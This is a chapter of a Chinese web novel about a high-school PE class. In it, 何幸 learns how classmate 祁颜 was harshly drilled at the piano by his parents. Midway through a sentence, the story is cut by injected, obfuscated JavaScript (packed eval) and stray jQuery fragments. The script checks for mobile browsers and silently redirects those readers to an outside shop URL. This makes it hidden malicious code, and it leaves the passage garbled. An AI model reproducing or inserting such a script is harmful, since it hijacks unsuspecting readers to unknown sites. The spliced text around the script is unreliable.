周一下午第三节课是体育课。
九月的太阳还带着夏天的尾巴，晒得塑胶跑道冒着一股橡胶味。体育老师吹哨集合的时候，何幸正跟廖政枫在队列末尾掰手腕，周围一圈男生起哄。
"幸哥！发力啊！"王浩在旁边喊，"你这体育生连个舌钉哥都掰不过？"
"放屁！"何幸咬着牙，小臂青筋绷起来，把廖政枫的手往桌面上压了半寸，"我让着他的，没看见他耳钉都快晃掉了？"
廖政枫舌钉磕着牙齿，笑得喘不上气："让……让个屁，你明明快没劲儿了……"
体育老师一声哨响，俩人同时松开手，装作什么事都没发生地站回队列。
"今天测八百米和引体向上，"体育老师拿花名册点名，"女生先跑，男生这边分组做引体。何幸，你负责计数。"
何幸应了一声，把袖子往上卷了两圈，露出小臂结实的肌肉线条。祁颜站在队列里，校服外套脱了搭在胳膊上，里面白色T恤被汗濡湿了一小块。他站得笔直，不像其他人那样松散，但也不像在刻意表现什么，就是一种习惯性的姿态控制。
"你体育怎么样？"何幸趁老师去拿器材的空隙凑过去问。
"一般。"祁颜说，"国际学校体育课不算学分，练得少。"
"那待会儿引体向上我帮你数，别硬撑。"何幸拍了拍他的肩，"实在做不了就跳下来，没人笑话你。"
祁颜看了他一眼，那个多了一毫米的弧度出现了："你倒是自信，万一我比你做得还多呢？"
何幸愣了一下，然后咧嘴："那我请你喝奶茶。"
"好。"祁颜点头，语气认真得像在签合同。
女生那边开始跑了。刘英婷起跑就冲在最前面，宁檬落在后面，步子小而密，像某种谨慎的小动物。跑到第二圈的时候宁檬开始喘，速度慢下来，刘英婷回头看了她一眼，放慢速度陪她跑了一段，然后才加速冲线。
何幸靠在单杠旁边看，忽然说："刘英婷挺仗义的。"
"嗯。"祁颜也看着跑道，"她俩关系很好。"
"初中到现在，六年了。"何幸说，"六年什么概念？我跟我小学同学都失联了。"
"六年。"祁颜重复了一遍，声音里有什么东西轻轻擦过，"挺长的。"
"你没那种特别铁的朋友？"何幸问。
祁颜沉默了两秒。跑道那边宁檬冲过终点线，刘英婷好在终点搂住她，两个人笑成一团。祁颜的目光落在她们身上，然后收回来。
"有过。"他说，声音很轻，"后来转学了。"
何幸想追问，但体育老师回来了，手里拎一捆计数器和分组名单。
"男生两组，一组单杠一组跳远，轮换。何幸、廖政枫、祁颜、王浩，你们四个先上单杠。"
何幸第一个上。手掌蹭过铁杠，粗糙的触感让他整个人都兴奋起来。
他助跑两步，跳起来握住杠子，身体悬空，然后开始拉。一个、两个、三个……动作标准，节奏稳定，肩胛骨随着每一次拉动收缩展开，背部肌肉线条绷得像弓弦。
"十二！十三！十四！"廖政枫在旁边数，声音洪亮，"幸哥加油！冲二十！"
何幸做到第十八个的时候速度慢下来了，小臂开始发酸。第十九个，他咬着牙拉上去，下巴过杠，然后松手跳下来，落地时膝盖微屈缓冲。
"十九个！"廖政枫拍他后背，"牛啊幸哥，比我多了八个。"
"你那十一个也好意思说。"何幸拿手背擦了下额头的汗，转头看祁颜，"到你了。"
祁颜走过去，站定，抬头看了眼单杠的高度，然后跳起来握住。他的握法和何幸不一样——何幸握杠是整只手包上去，祁颜是手指先扣住，然后再把拇指锁上去，像钢琴家在按一个跨度很大的和弦。
何幸看到这个动作的瞬间，脑子里闪过一个画面：琴键，黑白交错，手指落下。
祁颜开始拉。动作不快，但每个都很完整，下巴过杠，身体不晃。何幸在旁边数："一个、两个……"
做到第五个的时候，祁的速明显慢了。第六个，他拉到一半停了一下，然后才完成。第七个，手臂在抖。第八个，他做到了，但落地的时候脚踝崴了一下，身体微微晃了半步。
"行了吗？"体育老师问。
祁颜点头，呼吸有点乱，但脸上那个温和的笑容还挂着："够了。"
"八个，不错了。"体育老师在本子上记了一下，"第一次做能到八个已经可以了。"
何幸递给他一瓶水："不是说要赢我吗？"
祁颜接过水，拧开瓶盖，喝了一口，喉结滚动了一下。他看了何幸一眼，腮帮子鼓起来又瘪下去，像在嚼什么没说出口的话。
"下次。"他说。
"行，下次。"何幸笑了，"奶茶我先记着。"
祁颜把水瓶盖拧回去，指尖在瓶身上捏了一下，塑料发出细微的咯吱声。
何幸注意到他右手掌心有两道红印，是单杠磨出来的。
祁颜低头看了眼自己的手掌，然后把水瓶塞进书包，把手插进裤兜里，像是要把那两道痕迹藏起来。
跳远那边传来王浩的叫声："卧槽！我踩线了！不算不算！"
体育老师骂了他一句，让他重跳。何幸和祁颜站在旁边等着轮换，中间隔着一臂的距离。风吹过来的时候，祁颜T恤后背那片汗湿的布料贴着脊柱的线条，像一张地图。
"你手疼不疼？"何幸问。
"不疼。"祁颜说，但手还插在兜里没拿出来。
"我看看。"
祁颜顿了一下，然后把手从兜里抽出来，摊开。
掌心两道红印，不算深，但皮肤泛着粉。何幸抓住他的手腕翻过来看，动作自然得像做过一百次。
祁颜没挣，任他看着。
"还说不疼。"何幸用拇指轻轻碰了一下红印边缘，"明天肯定起茧。"
"没关系。"祁颜说，目光落在何幸抓着他手腕的那只手上，"弹钢琴的时候茧更多。"
他说这句话的时候语气很平，像在说"今天天气不错"。但何幸的手指停了一下。这是祁颜第一次这么直接地提起钢琴，没有停顿，没有转移，像一扇门被推开了半扇。
"弹钢琴手很重要吧？"何幸问，没松手。
"嗯。"祁颜看着自己的手掌，"指尖要敏感，掌心要稳定。茧的位置不对会影响触键。我爸……"他顿了一下，喉结滚动，"我爸对手的要求很严格。"
"你爸也是弹钢琴的？"何幸问。
祁颜把手抽回来，动作比之前慢了一点。他看着远处跑道上正在跳远的同学，目光像是穿过了那些人，落在很远的地方。
"我爸以前是。"他说，"祁荣。你应该没听过，他在业内有名，但不在大众层面。"
何幸摇了摇头："我没怎么听过古典音乐的。"
"嗯。"祁颜说，"他弹了三十年，开过独奏会，拿过奖。后来……"他又停了一下，这次的停顿比之前都长，"后来一场车祸，伤了左手。三根手指的神经断了，接不回来。再也没法弹了。"
空气安静了一瞬。操场上的喧闹声忽然变得很远。
"所以你就学了钢琴？"何幸问，声音不自觉地放轻了。
祁颜的嘴角牵了一下，不算笑，更像某种肌肉的条件反射。
"他说，他弹不了了，家里得有人接着弹。我妈也同意。我妈是林熙蕾，你大概也没听过，她不搞音乐，但外公是建筑设计师，那种……把每个细节都所以主动权掌握在手里。她继承了那个基因。"
他说话的时候没有看何幸，目光还落在远处。
何幸忽然明白了祁颜身上那种"精确感"的来源——不是天生的，是被塑造的。
父亲失去的梦想，母亲遗传极强的控制欲，两股力量拧在一起，把他塑成了一个人形乐器，每一个音符都要准确。
"五岁开始学？"何幸问。
"四岁半。"祁颜说，"我爸说不能再晚了，手指的柔韧性窗口期就那么几年。每天练琴六小时，周末八小时。寒暑假不休。"
"六小时……"何幸咂舌，"那你小时候不疯了？"
"哭过。"祁颜说，语气平静得像在说别人的事，"我妈会把琴房的门反锁，让我哭完继续。她说眼泪蒸发掉就好了，练琴不能停。"
何幸没说话。他想象不出来一个四岁半的孩子被锁在琴房里哭的样子。他自己四岁半的时候在干什么？在泥地里打滚，追蜻蜓，被他妈拎着耳朵回家吃饭。
"后来呢？"何幸问。
"后来就不哭了。"祁颜说，"哭没用，不如把曲子练完。我爸会在旁边坐着听，弹错一个音就敲一下桌子。错三个音，当天的内容重来。错五个以上……"他停了一下，喉结动了一下，"加练两小时。"
他说这些话的时候脸上还挂着那个温和的笑容，但何幸觉得那个笑容现在看起来像面具。不是假的，是被钉在脸上的，摘不下来也推不回去。
"十二岁考过十级。"祁颜继续说，声音没有任何起伏，"我爸说还不够，要继续。十五岁在国际青年钢琴比赛拿了金奖。他说还行，但技术细节有待打磨。十八岁……"他终于转过头来看何幸，眼底有一种何幸从未见过的东西，干燥、空洞，像被烧过的土地，"十八岁我转学了。不弹了。"
"不弹了？"何幸重复。
"嗯。"祁颜说，"我爸不同意。吵了很久。他说我忘恩负义，说我把他的梦想糟蹋了。我妈说我没有毅力，说她和外公的基因在我身上白费了。"他顿了一下，嘴角那个弧度微微变形，像面具裂了一条缝，"但我还是不弹了。"
体育老师吹哨换组。何幸要去跳远那边，祁颜留在单杠组计数。俩人分开的时候谁都没说话。
何幸走到沙坑边上，脑子里全是祁颜刚才说的话。
六小时，反锁的门，敲桌子的声音，加练两小时。这些东西像铅块，沉甸甸地压在他胸口。
他忽然理解了祁颜身上那层"拟态"是怎么来的。
那不是一个人在表演温柔，是一个人花了十五年学会如何用最精确的方式让另一个人满意。
祁颜的笑容是练出来的，他的坐姿是练出来的，他走路的节奏、说话的音量、甚至呼吸的频率——全都是被训练出来的。
他是一架被调试了十五年的乐器，每一个部件都在最优位置，但演奏者已经不想弹了。
跳远的时候何幸发挥失常，只跳了两米二十一。廖政枫在旁边怪叫："幸哥你今天怎么回事？魂儿丢了？"
"闭嘴。"何幸掸了掸裤子上的沙土，没心思跟他斗嘴。
他回头看了一眼单杠那边。祁颜站在计数器旁边，面无表情地报数，声音平稳得像机器。
阳光照在他身上，何幸忽然觉得他不像月亮，也不像任何发光的东西。他像一个被掏空的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922169|213481||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
容器，外面抛光得完美无瑕，里面什么都没有。
放学的时候天下起了小雨。何幸从教室后门出来，看见祁颜站在屋檐下，没打伞，看着外面的雨。跟上次一样。
"你爸……现在怎么样？"何幸走过去，把书包顶在头上。
祁颜没转头，看着雨丝："在家。不出门。我妈陪着他。他们还是希望我回去弹。"
"你不回去？"
"回去了就要继续。"祁颜说，"继续弹他没弹完的曲子，活他没活完的人生。我不是月亮，何幸。月亮至少是自己不发光的星球。我是……"他停了一下，雨水从屋檐滴下来，落在他脚边，溅起细小的水花，"我是一件工具。用完了，收起来。下次要用的时候再拿出来。"
"那你现在呢？"何幸问，"转学了，不弹了，你是什么？"
祁颜转过头看他。雨光里他的脸有一半在阴影中，眼睛里有什么东西在晃动，像水面上的碎光。
"我还在找。"他说，"我不知道自己是什么。可能……什么都不是。只是一个不再演奏的乐器。"
何幸想说点什么，但廖政枫从后面冒出来，一把搂住他的脖子："幸哥！走啊！淋雨多浪漫！"他拽着何幸往雨里冲，舌钉被雨水打得发亮。
何幸挣扎着回头看了一眼。祁颜还站在屋檐下，看着他们，那个温和的笑容又挂上了，但这一次何幸看见了面具下面的东西——空洞。
周二周三两天何幸没来学校，说是去外地参加体育特长生选拔赛。
但其实周六晚上他躺在床上翻来覆去睡不着，脑子里全是祁颜说的那些话。
六小时，反锁的门，敲桌子的声音。
他想象一个小孩坐在钢琴前面，手指在琴键上飞舞，身后坐着父亲，手里拿着一根棍子或者随便什么东西，弹错就敲一下桌子。
他想不通一个人怎么能那样对待自己的孩子。
周日晚上他在群里发了条消息：回来了，选上了。廖政枫回了一串庆祝的表情，刘英婷发了个"牛"，宁檬回了一个小小的爱心符号。祁颜回了一个"恭喜。"后面跟了一个句号。
那个句号让何幸盯着屏幕看了很久。
周一晚自习的真心话大冒险，祁颜没来。刘英婷说下午看见他请假了，好像是家里有事。
何幸坐在圆圈里，看着中间那个空瓶子，忽然觉得没意思。
瓶子转了一圈又一圈，笑声一阵又一阵。
王浩被问到为什么盯着宁檬看，廖政枫被罚去走廊喊"我喜欢舌钉"，刘英婷和宁檬合唱《小幸运》跑调到天边。
何幸机械地参与着，笑着，但脑子里一直在想祁颜坐在那个空荡荡的琴房里的样子。
四岁半。六小时。反锁的门。
活动结束时是九点。
何幸走在回宿舍的路上，雨又下了。他没打伞，任雨水浇在头上。廖政枫在旁边骂他神经病，他把廖政枫推走了，说想一个人走走。
他走到琴房楼下的时候停住了。那是学校旧教学楼后面的一排平房，周末和晚上基本没人用。其中一间亮着灯。
何幸犹豫了一下，走过去。窗户里透出的光很暗，他凑近了看，看见祁颜坐在钢琴前面。琴盖开着，但他的手放在膝盖上，没有弹。他就那样坐着，看着黑白键，像在看一个认识了很多年、但已经无法交流的老朋友。
何幸站在窗外，没有敲门。
祁颜坐了很久，然后伸手，指尖碰了一下中央C。一个音，没有第二个。手指收回去，又放在膝盖上。
何幸忽然明白了。不是不想弹，是不敢。十五年里钢琴和疼痛、压力、父亲的失望、母亲的完美主义绑在一起，已经变成了一个触发器。碰一下，所有的东西都会涌上来。
祁颜站起来，合上琴盖，动作缓慢得像在合上一口棺材。然后他关了灯，房间暗下来。何幸后退了一步，躲在墙角。
祁颜推门出来，看见何幸的时候愣了一下。
"你怎么在这儿？"他问，声音沙哑。
"路过。"何幸说，顿了顿，"你……还好吗？"
祁颜看着他，那个温和的面具没有完全挂上去，露出了底下干燥空洞的底色。"不好。"他说，"但也没办法。"
"因为今天是我爸的生日。"祁颜说，雨水顺着他的发梢滴下来，"他五十三了。以前每年这一天我都会弹一首曲子给他。去年弹的是《月光》第三乐章。他坐在沙发上听，听完说，结尾的力度不够。"
何幸没说话。
"今年没人弹了。"祁颜说，"所以我来坐了一会儿。没弹。碰了一个音就受不了了。"
他转过身往雨里走，步子还是那么平稳，但何幸看见他的肩膀在微微发抖。
"祁颜。"何幸叫住他。
祁颜停下，没回头。
"我不是太阳。"何幸说，"我也发不了光。但你要是想找东西，我陪你找。"
祁颜的背影停了几秒。然后他点了下头，继续往前走。
雨声把所有的声音都淹没了。何幸站在琴房门口，看着祁颜的背影消失在雨幕里。他忽然想起自己说的那句"像天上的月亮"。现在他觉得那句话蠢透了。
祁颜不是月亮，他是一颗已经被挖空的行星，外壳还在，但里面什么都没有了。
而他何幸，连太阳都不是。
他只是一只笨拙的、湿透了的狗，站在雨里，不知道该怎么靠近一颗破碎的星球。